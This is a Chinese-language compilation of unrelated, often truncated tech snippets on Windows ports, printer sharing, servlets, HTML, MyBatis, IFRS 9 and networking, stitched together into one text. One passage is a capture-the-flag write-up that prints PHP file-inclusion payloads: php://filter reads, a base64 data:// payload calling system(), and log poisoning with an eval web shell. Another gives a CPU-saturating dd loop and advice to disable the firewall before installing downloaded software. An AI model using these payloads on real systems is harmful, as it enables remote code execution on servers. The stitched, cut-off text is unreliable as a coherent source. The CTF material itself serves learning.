不知道大家对于 win7系统 计算机端口的了解有多少,PConline的小编先跟大家普及一下,所谓的计算机“端口”是英文port的义译,可以认为是计算机与外界通讯交流的出口.分软件端口和硬件端口,硬件领域的端口又称接口,如:USB端口、串行端口等。软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。下面以萝卜家园win7旗舰版64位系统 为例带大家一起来学习下如何开启计算机端口吧!
方法一:服务开启win7系统计算机端口的方法
1、点击“开始——搜索”,在打开的搜索框中输入“服务”,按回车键。
2、在服务窗口中找到并双击需要开启的端口对应服务。
3、将“启动类型”选择为“自动”,在“服务状态”中单击“启动”按钮即可启用该端口,单击“确定”保存即可。
方法二:TCP/IP协议属性开启计算机端口的方法
1、依闪点击“开始”——“控制面板”——“网络和Internet”——“查看网络状态和任务”——“本地连接”
2、在打开的“属性”窗口中,选择“TCP/IPv4协议”选择“属性”,切换到“高级”选项卡,在选项的那个页面打开TCP/IP筛选,在出现的设置窗口中根据实现情况设置端口的打开和关闭,默认是未启用TCP/IP筛选。
通过以上对Win7系统计算机端口的开启的两种方法介绍后,有需要的用户便可参照以上方法进行操作了,更多Win7系统技巧文章,尽在PConline官网。
有朋友说他刚买了台新电脑,加上原来家里的就有两台电脑了,想要两台电脑都能够打印,就是不知道如何在局域网里设置共享打印机,同在一个的网络,如何把那台公共打印机设置为共享使用。下面,小编就来给大家带来了局域网打印机共享设置图文操作。
现在单位或家庭工作的时候往往需要一台打印机,但是不可能每台电脑都配置一个打印机,那么这时很多网友都知道在局域网内把一台打印机共享出去,那么整个局域网内所有的人都可以使用这一台打印机,那么局域网打印机共享怎么设置呢?下面,小编就来跟大家讲解局域网打印机共享设置操作了。
局域网怎么设置打印机共享
共享打印前请确认,共享者的电脑和使用者的电脑是在同一个局域网内,同时该局域网是畅通的,并且操作系统最好是相同的。也要确认与共享打印机相连的处于开机状态,而且已经安装过打印机驱动程序,并且可实现正常打印。
打印机图-1
点击桌面左下角,进入开始,直接找到打印机和传真,直接进入
局域网图-2
进入到打印机与传真中心示,右键,点击“共享”。
打印机共享图-3
在弹出来的界面,设置共享打印机机名称:点击“共享这台打印机”,并起一个共享名“lichaoMP140”,然后点击“确定”按键,之后,将回到 打印机与传真中心
局域网图-4
接下来就要让同一局域网下的电脑找到这台打印机了。
先回到带有打印机的电脑,这里需要的东西是带有打印机电脑的IP地址,获取IP方法
打印机图-5
记住了地址后,点击“开始-运行”,然后弹出运行对话框。
局域网图-6
在运行对话框内输入,连接打印设备的那台电脑在局域网内的IP地址,“\\192.168.1.103”。
局域网图-7
点击确定就可以找到共享服打印机了
打印机图-8
以上就是设置打印机共享的操作流程了。
请求转发的流程图:
具体代码:
Servlet1.java
package demo01; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; /** * 用于实现请求转发 */ public class Servlet1 extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); System.out.println("在servlet1中查看参数:"+username); // 给材料盖个章,并传递到servlet2中查看 request.setAttribute("key1","柜台1的章"); // 请求转发必须以/打头 RequestDispatcher requestDispatcher = request.getRequestDispatcher("/servlet2"); requestDispatcher.forward(request,response); } } Servlet2.java:
package demo01; import javax.
一 . html的代码书写规范 <html> 表示整个 html 页面的开始 <head> 头信息 <title>标题</title> 标题 </head> <body> body 是页面的主体内容 页面主体内容 </body> </html> 表示整个 html 页面的结束 Html 的代码注释 <!-- 这是 html 注释,可以在页面右键查看源代码中看到 --> 示例如下: <!--<!DOCTYPE html>--> <html lang="en"> <head> <!--meta标签是网站声明--> <meta charset="UTF-8"> <meta name = "keywords" content = "html5" <meta name = "description" content = "h5" <!-- title 网页标题--> <title>我的第一个网页</title> </head> <!--body代表网页主体--> <body> hello,world! </body> </html> 二、HTML 标签介绍 1.标签的格式:
<标签名>封装的数据</标签名> 2.标签名大小写不敏感。
3.标签拥有自己的属性。
i. 分为基本属性:bgcolor=“red” 可以修改简单的样式效果
一台笔记本的进化史,带你看清这十年的变化
2020-11-28 14:30:14
1点赞
1收藏
0评论
还记得十年前你是怎么上网的吗?十年前的电脑还都很慢,玩玩游戏查查资料都要加载很久。十年前电脑一直加载中,好像永远也加载不完,现在有了wifi6轻松下载大文件;十年前工作学习了好久,玩玩电脑放送一下,现在大多工作都需要电脑,电脑已经成了不可或缺的一部分;想要安心吃个吃瓜,十年前吃瓜只分两种,一种上网一种不上网;现在吃瓜靠网速,普通人网页还没加载出来,wifi6瓜连都吃完了
随着科技的发展,英特尔已经推出了第十一代酷睿处理器,并且提出了Evo认证平台,所有通过Evo平台认证的笔记本都可以被视为性能十分强悍的轻薄笔记本。
基于英特尔 Evo 平台的笔记本电脑都需通过以下关键体验指标验证:
1、电池供电时始终如一的响应速度。
2、1秒内从休眠状态唤醒。
3、在配备全高清显示屏的笔记本电脑上实现9小时或更长的电池续航时间。
4、在配备全高清显示屏的笔记本电脑上,只需充电30分钟,便可获得长达4小时或更长的电池续航时间。
如果你有更换笔记本的需求,不妨试试这台搭载英特尔第11代酷睿i7-1165G7的惠普Spectre x360。百科HP 惠普 SPECTRE幽灵系列 x360 13.3英寸翻转笔记本电脑Spectre x360可以旋屏,使用一块13.3英寸16:9屏,三边窄边框处理屏占比高达90%,提供3840 x 2160分辨率。配置上搭载英特尔酷睿i7-1165G7处理器,16GB LPDDR4x内存(不板载不可升级),512GB SSD或1TB SSD的存储方案。其他方面,也配备了背光键盘,集成双高品质喇叭,两侧扩展包括:雷电4、全尺寸USB Type-A(5 Gbps)、USB-C全功能接口、3.5mm耳麦插孔和nano SIM卡槽。自带60Wh锂电池,配备65W USB-C电源适配器。值0点评0原创0好价0去购买查看详情
在路上突然有了灵感想要记录下来,却因为笨重的电脑机身而大费周章;出差途中,临时有工作任务需要立刻完成,却因为电量告罄而到处寻找插座,十分尴尬又耽误时间;到办公室后想迅速进入工作状态,却因为开机缓慢,把人等的心烦气躁…这台笔记本都会帮你解决。
搭载全新第十一代酷睿四核处理器,让你比任何时候都能更轻松的完成更多任务。屏幕与机身可360度翻转,搭载全新锐炬Xe核芯显卡,在游戏、流媒体和创作方面实现了巨大的飞跃,享受身临其境的娱乐体验已经成为现实。
1T固态硬盘满足高速存储需求,多开应用程序依然保持流畅,告别卡顿。配有100%RGB高色域屏,在保证画面清晰细腻的同时,实现16.5小时超长续航。
这样一款性能与颜值兼备的笔记本,相信你也会爱上。
MOS管:金属氧化物半导体场效应晶体管,
MOS管作用:放大信号、开关等。 MOS管和三级管的不同之处 MOS管电压控制电流三级管电流控制电流 下图来源于网络,我们来看下MOS管的符号构造
MOS管的三个引脚分别是G(栅极)、D(漏极)、S(源极),MOS管又分为PMOS型和NMOS型。PMOS和NMOS又有增强型和耗尽型之分。MOS管的衬底跟S极在管子内部连接在一起,D极和S极之间一般是有个寄生二极管。
N沟道增强型MOS管做电子开关驱动LED: P沟道增强型MOS管做电子开关驱动LED: 电阻Rgs的作用: G极与D极、S极之间有一层绝缘层二氧化硅进行隔离,这就相当于存在一个电容,电路中加入电阻Rgs,可以对电容的电压进行及时释放。
另外一般Vgs之间的电压差在-20V~+20V之间。MOS管的输入阻抗很高,一般认为使MOS导通不需要电流,所以相对于使用三极管而言,减少了不必要的损耗。
常用的MOS管GDS三个引脚是固定的。不管是N沟道还是P沟道都一样。把芯片放正从左到右分别为G极D极S极!从网上找的图片如下:
最后,上一个实际项目中的例子作为结束
org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com...UserInfoMapper.listByRole 报错描述:
程序一直可以正常运行,本次代码修改操作添加了新的依赖,也添加了新的mapper, xml文件。之前一运行所有的数据库查询接口无论新旧都会报这个错误。
网上的百度到的大多方法主要有以下可能:
1、检查xml文件的namespace 是否和Mapper interface 所在的包名类名一致(一般ctrl + 鼠标左键可跳转即没有错误)
2、检查Mapper 接口中的方法是否和xml 中一致(包括方法个数,是否重复,方法名称,方法入参,方法返回类型)
3、查看全局的mapper xml 配置路径是否正常(这里使用的是mybatis-plus)
问题现象:所有接口操作表报错(包括新旧方法);
本次代码变化:添加了多个新的mapper, xml 方法和文件,引入了新的pom依赖;
我是通过source tree 进行git 代码管理的,它有暂存功能(暂存修改-不保留暂存的更改)代码还原后重新启动访问相同旧接口无报错,判断该报错是因为新编写的代码影响的。
上面说到我们新编写的代码主要有两部分,新的mapper,xml 方法,和新的pom依赖
进一步的判断方式有两种:
a、针对新的mapper,xml 方法针对上面百度到的1,2两点方法进行逐个检查;
b、删除引入新的pom依赖,删除对应依赖类调用直至没有报错,后重新启动应用访问。
由于使用新的依赖并不多直接检查b项,发现应用接口能访问没有报错,至此定位此问题是因为新引入的依赖,查看新引入依赖
发现依赖存在重复并有个是mybatis-plus 依赖(下图project 是新引入依赖,exclusions 去除重复)
<exclusion> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> </exclusion> 报错日志: 2021-07-21 16:03:35.539 169254213631626854594179000022164 http-nio-8005-exec-4 ERROR c.a.f.c.a.ExceptionAdvice:27 - /user/list org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.*.*.dao.UserInfoMapper.listByRole at org.apache.ibatis.binding.MapperMethod$SqlCommand.<init>(MapperMethod.java:235) at org.apache.ibatis.binding.MapperMethod.<init>(MapperMethod.java:53) at org.apache.ibatis.binding.MapperProxy.lambda$cachedMapperMethod$0(MapperProxy.java:61) at java.
文章目录 机器学习分类——综述《A survey of ML to self organizing cellular networks》读后感《Artificial Neural Networks-Based Machine Learning》读后感无线网络中的ANN对于ANN的大体分类递归神经网络ESNDNN 在无线网络中的应用总体上:在无人机中的应用:在VR中的应用在边缘计算中的应用频谱管理在物联网的应用 单独了解探索部分强化学习 Reinforcement Learning一个前提——符合马尔可夫决策过程强化学习三种方法1.基于价值,Value Based2.基于策略——Policy Based(个人认为是离散到连续的补充)3.Actor-Critic(将上面两种结合起来) 监督学习朴素贝叶斯决策树 RNN(是怎么一步一步进化到后面的,把握时序)SNN脉冲神经网络LSTM长短期记忆网络 所有神经网络介绍 机器学习分类——综述 《A survey of ML to self organizing cellular networks》对整个SON,从应用上针对具体使用的不同方面来讨论了机器学习和SON的关系。但是相对来说对SON的介绍更多一些
接下来看《Artificial Neural Networks-Based Machine Learning for Wireless Networks_ A Tutorial》和《Deep Learning in Mobile and Wireless Networking A Survey》。前者对神经网络的介绍比较充分,对于建立框架来说更有价值一些。
LaTeX \LaTeX LATEX表
《A survey of ML to self organizing cellular networks》读后感 机器学习应用到SON上的点,无非是从SON的整个构建过程来说的,在不同的时间不同的阶段,去解决在不同阶段的问题。
三个阶段——自动配置、自动组网、自动修复,我们先梳理一下在这三个阶段中可能遇到的问题。
文章一开始,给了机器学习的大致分类,认为还是很有价值的,
《Artificial Neural Networks-Based Machine Learning》读后感 由于整个通信领域从应用的角度分为很多部分,因此对于每个场景,都能够有ANN大展身手的时候,以下一一道来。
uniapp vant sku组件 图片加载 load error 报错 问题解决 问题 vant VanImage 组件绑定了load 和 error 事件
在uniapp 中 this.onLoad undefined
解决 自定义头部
<van-sku v-model="show" :sku="sku" :goods="goods" :goods-id="goodsId" buy-text="确定" :show-add-cart-btn="false" :quota="quota" :quota-used="quotaUsed" :hide-stock="sku.hide_stock" @buy-clicked="onBuyClicked"> <template #sku-header="props"> <view class="van-sku-header van-hairline--bottom"> <view class="van-image van-sku-header__img-wrap" @click="showImagePreview"> <image :src="goods.picture" class="van-image__img" style="object-fit: cover;"></image> </view> <view class="van-sku-header__goods-info"> <view class="van-sku__goods-price"> <text class="van-sku__price-symbol"> ¥ </text> <text class="van-sku__price-num">{{ sku.price }}</text> </view> <view class="van-sku-header-item"> <text>剩余 <text>{{ sku.stock_num }}</text> 件</text> </view> <view class="
在我们运行一些 vue 项目的时候,输入npm run serve或者 npm run dev的其中一个时,系统会报错:
PS C:\Users\LENOVO\Desktop> npm run dev
npm ERR! missing script: dev
npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\LENOVO\AppData\Roaming\npm-cache\_logs\2020-05-27T01_05_59_189Z-debug.log
PS C:\Users\LENOVO\Desktop\website> npm run serve
然后我们就特别好奇,npm run serve 和 npm run dev 到底有什么区别,
这时我们就打开 package.json 文件,观察这段代码:
"scripts": {
"serve": "vue-cli-service serve",
"build": "vue-cli-service build",
"lint": "vue-cli-service lint"
},
可以把这个 npm run serve 当做是 npm run package.json 里面的scripts的value。
文档介绍:
计算机职业环境分析报告|计算机职业环境分析计算机行业环境分析这篇文章的主要内容讲的是对计算机行业的市场环境分析。在商业领域,环境分析的概念就是指的对企业所处的竞争环境和市场环境进行分析,从而为企业的战略调决策,市场营销等等方面来提供决策依据。以下是小学生作文网荐的计算机行业环境分析,希望对你有所帮助。计算机行业环境分析目录一、社会环境分析所谓社会环境分析,就是对我们所处的社会政治环境、经济环境、法制环境、科技环境、文化环境等宏观因素的分析。社会环境对我们职业生涯乃至人生发展都有重大影响。通过对社会大环境包括国际、国内与所在地区3个层次的分析,来了解和认清国际、国内和自己所在地区的政治、经济、科技、文化、法制建设、政策要求及发展方向,以更好地寻求各种发展机会。(一)、高新技术人才以电子技术、生物工程、航天技术、海洋利用、新能源、新材料为代表的高新技术的兴起,是一批高科技人才研究、开发的结果。当代任何一个国家,要在高科技领域占据主导地位,必须拥有相当规模的杰出科学家,并使科学家队伍平均年龄尽量接近最佳年龄区。二、组织(企业)环境分析进行全面的组织环境分析是我们知彼的核心,毕竟你所选择的这个组织(企业)将与你息息相关。况且,在面试过程中,考官一般都会比较欣赏那些对本行业、本企业的有心人。组织环境分析包括行业环境分析和企业环境分析。(一)行业环境分析行业环境分析包括对目前从事或拟从事的目标行业的环境分析。其内容应包括行业的发展状况、国际、国内重大事件对该行业的影响,目前行业的优势与问题、行业发展趋势等等。三、职业期望毫无疑问,每个人都有自己的职业梦想。这个梦想将引导你所做的每一个决定。人们在展望未来职业生涯的时候,不能仅为赶时髦仓促决定,而是首先要做到内省,明确做什么能给你带来最大的满足和快乐。人人都想拥有一份好,但究竟什么是好,每的理解和定义是不同的。毕竟每的兴趣、爱好、经历、能力、家庭背景、受教育程度、所处的环境、经济地位、宗教信仰等等是有差异的,这些都显著地影响着求职者对职业的追求和期望。职业期望决定了人们对求职的表达、动机和目标。净化校园语言环境地税对审计部门问题执法督察学校卫生区管理制度大全从农业生态环境角度出发,指出东北地区农业可持续发展的措施2009年世界环境日举办城市二、产生问题的原根源保护生态环境实现可持续发展,某地区保护环境保护环境,就是保护我们自己。下列环境问题与产生的原因人货电梯工作的环境温度保huhuanjin标语下图为稳态调节的部分过程示意图,其中数字下列有关人体内环境稳态的叙述错误的是三线三边环境整治方案C.血红蛋白属于①的成分B.负极所在的左室中需保持厌氧环境下图为寒冷环境中人体体温调节示意图(1)abc表示的激素分别为激素c的作用下图为寒冷环境中人体体温调节示意图(1)abc表示的激素分别为激素c的作用靶细胞是
内容来自淘豆网www.taodocs.com转载请标明出处.
文章目录 web78web79web80web81web82web83web84web85web86web87web88web116web117参考视频参考博客 web78 if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 没有过滤,一开始想直接包含flag.php,发现一片空白。使用php://filter伪协议读取flag.php内容,进行base64解码得到flag。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web79 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 过滤了php,使用data伪协议即可。
base64编码的内容为:
<?=system('tac flag.php');?> payload:
?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
web80 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); } 可以看到,php和data都被过滤替换成了三个‘?’。根据hint,可以通过包含nginx的日志文件access.log进行文件包含操作。
使用?file=/var/log/nginx/access.log访问日志,发现会留有记录。
修改UA头,发现可以执行phpinfo命令:
使用&_POST[]传入POST参数,ls查询当前目录,发现flag已被更改文件名:
使用tac命令,得到flag:
对这题思路的个人理解是,首先通过访问向日志写入需要的php命令,比如<?=eval($_POST[1]);?>。当再次访问时会执行这些命令,这时可以添加参数,比如1=system(“tac fl0g.php”);以回显flag。
web81 添加了过滤冒号‘:’
同web80
web82 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("
作为一名IT运维工程师,看到CPU使用率100%时,多少还是有些紧张的,因为我们的使命就是要将CPU使用率给降下来。
但有些时候,还是有需要人为的制造一个CPU使用率为100%的场景,例如测试监控服务器性能触发报警阀值时。今天我们就来人为的制造一次CPU使用率100%的事件。
命令
for i in `seq 1 $(cat /proc/cpuinfo |grep "processor" |wc -l)`; do dd if=/dev/zero of=/dev/null; done
在虚拟机里敲下试试吧。
分析
首先,我们把这一行命令拆分一下,增强下代码的可读性:
#!/bin/bash
N=`cat /proc/cpuinfo | grep "processor" | wc -l`
List=`seq 1 $N`
for i in $List
do
dd if=/dev/zero of=/dev/null
done
下面来解释下每一行吧。
cat /proc/cpuinfo | grep "processor" | wc -l
这条最简单了,获取CPU核数。
seq 1 N
根据N的值生成一个序列。
for i in `seq 1 N`
循环执行命令,从1到N。
dd if=/dev/zero of=/dev/null
执行dd命令,输出到/dev/null, 实际上只占用CPU,没有IO操作。
Swagger2接口文档中object返回类没有显示
不知道大家有没有遇到一个问题就是原来的返回类Response中的data objcet类型 后来进行接口可视化引进Swagger的时候发现接口中只有入参有值而反参中的data数据没有显示 有人就纳闷了为啥呀 我data返回的是实体类啊 为啥没把类中的字段显示在swagger接口文档中啊 不要慌 是因为swagger它无法读取到你object的是什么类型 都知道object啥都可以存 这个时候有人又会说 我调用service接口返回的类型然后赋值到data中 难道swagger没有查到 啊 问的好 我也不知道 哈哈 但是我知道他不会显示在swagger文档中,不要慌有解决方法 给Response返回类加上泛型 把data属性类型换成泛型
在接口返回的上加上你要返回的类型
结果
目录
1.下载软件
2.其他所需软件
3.安装步骤
(1)右击以管理员身份运行安装包
(2)选择中文(简体),点击确定
(3)点击下一步
(4) 选择我愿意接受此协议,然后点击下一步 (5)我选择将软件安装在D盘下(可以根据自己的需求更改)
(6)点击下一步
(7)继续点击下一步
(8)此处会自动检测是否已经安装好三个配套软件,若没安装请先安装好三个配套软件,再点击下一步。
(9)点击安装,开始安装软件
(11)点击完成
(12)检查
1.下载软件 链接:https://pan.baidu.com/s/1nc335DsUKULZZ-bc1xhS6w 提取码:rolu
安装之前先关闭防火墙(设置—>更新与安全—>Windows安全中心—>防护墙与网络安全—>将使有打开改为关闭)
2.其他所需软件 此外还需准备以上三个配套软件
3.安装步骤 先将VirtualBox,WinPcap,Wireshark-win64这三款软件安装完毕(没有顺序之分)
特别提示:最好不要出现中文路径。
安装时均以管理员身份安装
配套软件安装完毕之后,开始安装ensp
(1)右击以管理员身份运行安装包 (2)选择中文(简体),点击确定 (3)点击下一步 (4) 选择我愿意接受此协议,然后点击下一步 (5)我选择将软件安装在D盘下(可以根据自己的需求更改) (6)点击下一步 (7)继续点击下一步 (8)此处会自动检测是否已经安装好三个配套软件,若没安装请先安装好三个配套软件,再点击下一步。 (9)点击安装,开始安装软件 (10)右击以管理员身份打开
(11)点击完成 (12)检查 放置一个路由器,然后右击路由器选择启动,然后左键双击路由器
出现如下界面就表示安装完成
>>> address = '浙江省温州市龙湾区海城街道水暖市场341号' >>> address '\xe6\xb5\x99\xe6\xb1\x9f\xe7\x9c\x81\xe6\xb8\xa9\xe5\xb7\x9e\xe5\xb8\x82\xe9\xbe\x99\xe6\xb9\xbe\xe5\x8c\xba\xe6\xb5\xb7\xe5\x9f\x8e\xe8\xa1\x97\xe9\x81\x93\xe6\xb0\xb4\xe6\x9a\x96\xe5\xb8\x82\xe5\x9c\xba341\xe5\x8f\xb7' >>> address.decode('utf-8') u'\u6d59\u6c5f\u7701\u6e29\u5dde\u5e02\u9f99\u6e7e\u533a\u6d77\u57ce\u8857\u9053\u6c34\u6696\u5e02\u573a341\u53f7' >>> add = address.decode('utf-8') >>> span_tmp = re.search(r'[\da-zA-Z一二三四五六七八九十]+号$', add) >>> span_tmp >>> span_tmp = re.search(u'[\da-zA-Z一二三四五六七八九十]+号$', add) >>> span_tmp <_sre.SRE_Match object at 0x166A1058> >>> span_tmp.group(0) u'341\u53f7'
IFRS 9 介绍
IFRS 9 是国际会计准则委员会 (IASB) 对 2008 年全球金融危机的回应。目标是在金融危机后改进金融资产和负债的会计和报告。简而言之,想法是通过避免全球经济衰退期间面临的财务问题来预测损失确认。
IFRS 代表国际财务报告标准,这是一套由全球 110 多个国家的金融组织实施的会计准则。它涵盖了欧洲、中东、亚洲、非洲、大洋洲和美洲(不包括美国)的主要国家。在美国,金融机构必须遵循美国财务会计准则委员会 (FASB) 提出的**CECL(当前预期信用损失)**方法。一些具有双重申报要求的美国金融实体可能需要根据 IFRS 9 和 CECL 进行拨备。
IFRS 9 金融工具取代了IAS 39 金融工具:确认和计量,给金融工具的会计处理带来了根本性的变化。金融资产减值的最新预期信用损失模型、业务模型对会计处理的影响以及资产类别减少的后果。一方面,在新旧准则衔接期内,主体需要做出一系列的决策和选择;另一方面,这项新准则放宽了套期会计要求,对于主体而言,这是一个好消息。银行和金融机构受到的影响最大,但非金融企业同样需要考虑准则的新要求。
IFRS 9有哪些新内容?
该项新准则提出了经修订的金融资产分类和计量的要求,包括一个全新的用于计量减值的预期信用损失模型。
它补充了在2013年发布的新的一般套期会计要求。
分类和计量有哪些新内容?
该项新准则所允许的金融资产的计量基础——即摊余成本、以公允价值计量且其变动计入其他综合收益(FVOCI)及以公允价值计量且其变动计入损益(FVTPL)——与《国际会计准则第39号——金融工具:确认与计量》下的计量类别相似。
但是,两者在划分到适当计量类别的标准上存在显著差异。
如果主合同为金融资产,则企业不再需要将嵌入衍生工具从主合同中分拆出来,而是按一个新的方法对整个混合工具进行评估。
减值有哪些新内容?
IFRS 9以“预期信用损失”模型替代了IAS 39中的“已发生损失”模型,这意味着减值准备无需在损失事件发生后才确认。
该准则旨在解决计提贷款损失准备 “过少、过迟”问题,并且会加快损失的确认。
该新模型将被应用于以下金融资产:
资产负债表内确认的债务工具,例如贷款或债券;及
被分类为以摊余成本计量或以公允价值计量且其变动计入其他综合收益的资产。
它也将适用于贷款承诺和财务担保合同。
我们的国际财务报告准则(IFRS)— 减值前沿动态(英文版)重点介绍了国际财务报告准则过渡小组对以上金融工具减值要求的讨论。
这些改变对企业意味着什么?
该项准则对2018年1月1日及之后开始的年度期间生效,并要求采用追溯调整法(包含某些豁免)。允许提前采用。
然而,为这些改变带来的深远影响做准备可能需要相当大的努力。
企业——特别是属于金融行业的企业——需要现在就开始评估可能的影响,并开始为过渡做准备,了解需要的时间、资源以及在系统和流程上的改变。
“这项新准则将对银行核算贷款组合信用损失的方式产生巨大影响。相关坏账准备的金额将会增加,其波动程度也可能会加剧。”
IFRS 9何时生效?
2014 年 7 月,IASB 发布了 IFRS 9,以统一标准取代了旧的国际会计准则 IAS 39。金融实体有在 2018 年 1 月 1 日或之后开始的期间实施的时间表。
**基本问题 -**您是否想知道 IFRS-9 中的“9”是什么?它是《国际财务报告和鉴证准则》的第九版。
AD 教你快速定位 知道那条线没连通 板子画好后 报告板子信息
关键还找不到,是那条信息,抓捕抓狂?
1,点击PCB
2,点击ALL Nets
3,下拉框找到
不为0的数据就是没有连通的数据.
数据交换(Data Switching)是指在多个数据终端设备之间,为任意两个终端设备建立数据通信临时互连通路的过程。通俗来说交换是就通过某些交换中心将数据进行集中和传送,传输线路为各个用户共用,从而大大节省通信线路,降低系统费用。如果网络规模较大,则把交换设备连接在一起形成交换网络。
数据交换的三种方式——电路交换、报文交换、分组交换
电路交换
用户之间要传输数据时,交换中心在用户之间建立一条暂时的数据电路。电路接通后,用户双方便可传输数据,并一直占用到传输完毕拆除电路为止。电路交换引入的时延很小,而且交换机对数据不加处理,是这几种交换方式中最快的一种。因而适合传输实时性强和批量大的数据。
最典型的电路交换网络:电话网络
电路交换的三个阶段:
建立连接(呼叫/电路建立)通信(数据传输)释放连接(拆除电路) 我们只需要记住一个特点:独占连接,用户始终占据端到端的固定传输带宽。
报文交换
报文是网络中交换与传输的基本单元,是站点一次性要发送的数据库。报文包含了要发送的数据的完整信息,长短不一致,长度不限但可变。
报文交换不同于电路交换,它无需在两个站点之间建立一条专用通路,其数据传输的单位是报文,传送过程采用存储转发的方式。 分组交换
所谓分组,就是将一个大的数据包(报文)分成一个个更小的数据包,这些一个个更小的数据报就称为分组。在每个分组的首部写入发送端和接收端的地址,每个分组数据块的结构如下所示:
分组交换同样采用存储转发,不同站点的数据分组可以交织在同一线路上传输,也就是说一个报文分成了若干个分组之后,这些分组不一定都沿着同一条路径进行转发,提高了线路的利用率。当然,由于将大的报文分割成了若干小分组,所以分组交换的速度比报文交换快得多
那么在网络中什么时候会使用分组交换呢?
当一个网络层的 IP 数据报从一个主机传输到另一个主机时,它可能通过不同的物理网络。每个物理网络上都有各自的最大帧的大小(即最大传输单元 MTU),若传输的 IP 数据报超过 MTU,此时就会对整个 IP 数据包进行分组。
由于报文会分为众多的分组,工作量比较大,可能会出现丢包的现象,这也是分组交换的缺点。
三种交换方式的比较
数据交换方式该如何选择?
传送数据量大,且传送时间远大于呼叫时,选择电路交换。电路交换传输时延最小。当端到端的通路有很多段的链路组成时,采用分组交换传送数据较为合适从信道利用率上看,报文交换和分组交换优于电路交换,其中分组交换比报文交换的时延小,尤其适用于计算机之间的突发式的数据通信(比如我们用微信发消息) 感谢@飞天小牛肉,我的操作系统和计网基本都是跟着大佬的知识结构来学习的
文章目录 励志一、什么是 HTML?二、常见的浏览器三、HTML 标签1、HTML 文档 = 网页2、HTML 基本文档3、HTML头部4、HTML < title > 元素5、HTML < base > 元素6、HTML < link > 元素7、HTML < style > 元素8、HTML < meta > 元素9、HTML < script > 元素10、基本标签(Basic Tags)11、文本格式化(Formatting)12、链接(Links)13、图片(Images)14、样式/区块(Styles/Sections)15、无序列表16、有序列表17、定义列表18、表格(Tables)19、框架(Iframe)20、表单(Forms)21、实体(Entities) 四、HTML5 新元素五、小试牛刀 励志 摘自电影《初恋那点事》
一、什么是 HTML? HTML 是用来描述网页的一种语言。
HTML 指的是超文本标记语言 (Hyper Text Markup Language)HTML 不是一种编程语言,而是一种标记语言 (markup language)标记语言是一套标记标签 (markup tag)HTML 使用标记标签来描述网页 二、常见的浏览器 浏览器内核备注IETridentIE、猎豹安全、360极速浏览器、百度浏览器、QQ浏览器、搜狗浏览器FirefoxGecko可惜这几年已经没落了,打开速度慢、升级频繁、猪一样的队友flash、神一样的对手chrome。Safariwebkit从Safari推出之时起,它的渲染引擎就是Webkit,一提到webkit,首先想到的便是 chrome,可以说,chrome 将Webkit内核 深入人心,殊不知,Webkit 的鼻祖其实是 Safari。Chrome、EdgeChromium/Blink在 Chromium 项目中研发 Blink 渲染引擎(即浏览器核心),内置于 Chrome 浏览器之中。Blink 其实是 WebKit 的分支。大部分国产浏览器最新版都采用Blink内核。二次开发Operablink现在跟随chrome用blink内核。 三、HTML 标签 HTML 标记标签通常被称为 HTML 标签 (HTML tag)。
1、AndroidX 简介 点击查看 Android 文档中对 AndroidX 的简介
按照官方文档说明 AndroidX 是对 android.support.xxx 包的整理后产物。由于之前的 support 包过于混乱,所以,Google 推出了AndroidX。
由于在后续版本中,会逐步放弃对 support 的升级和维护,所以,我们必须迁移到 AndroidX .对此,官方描述如下:
Existing packages, such as the Android Support Library, are being
refactored into AndroidX. Although Support Library versions 27 and
lower are still available on Google Maven, all new development will be
included in only AndroidX versions 1.0.0 and higher.
2、迁移步骤 2.1 修改当前项目的 gradle.properties android.useAndroidX=true android.enableJetifier=true 其中:
android.useAndroidX=true 表示当前项目启用 AndroidX
颜色是人们生活中最常见的,颜色会通过眼睛进入我们的脑电波。人对颜色的感觉不仅仅是通过眼睛,还包括你的心理状态。颜色每个人对色彩的敏感度不同,有时候看起来是同一种颜色的东西,其实它中间夹杂着其他的颜色。
你对色彩有多敏感呢?你会是色盲吗?一起通过心理测试图片来寻找答案吧。
请依照下面图片所见的色块的感受,判断色块中是否存在不一样的色块。前方高能,请小心谨慎。(选择存在加一分,选择不存在加零分)
测试题开始:
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
上面色块组合中,存在不一样的小色块吗?
存在
不存在
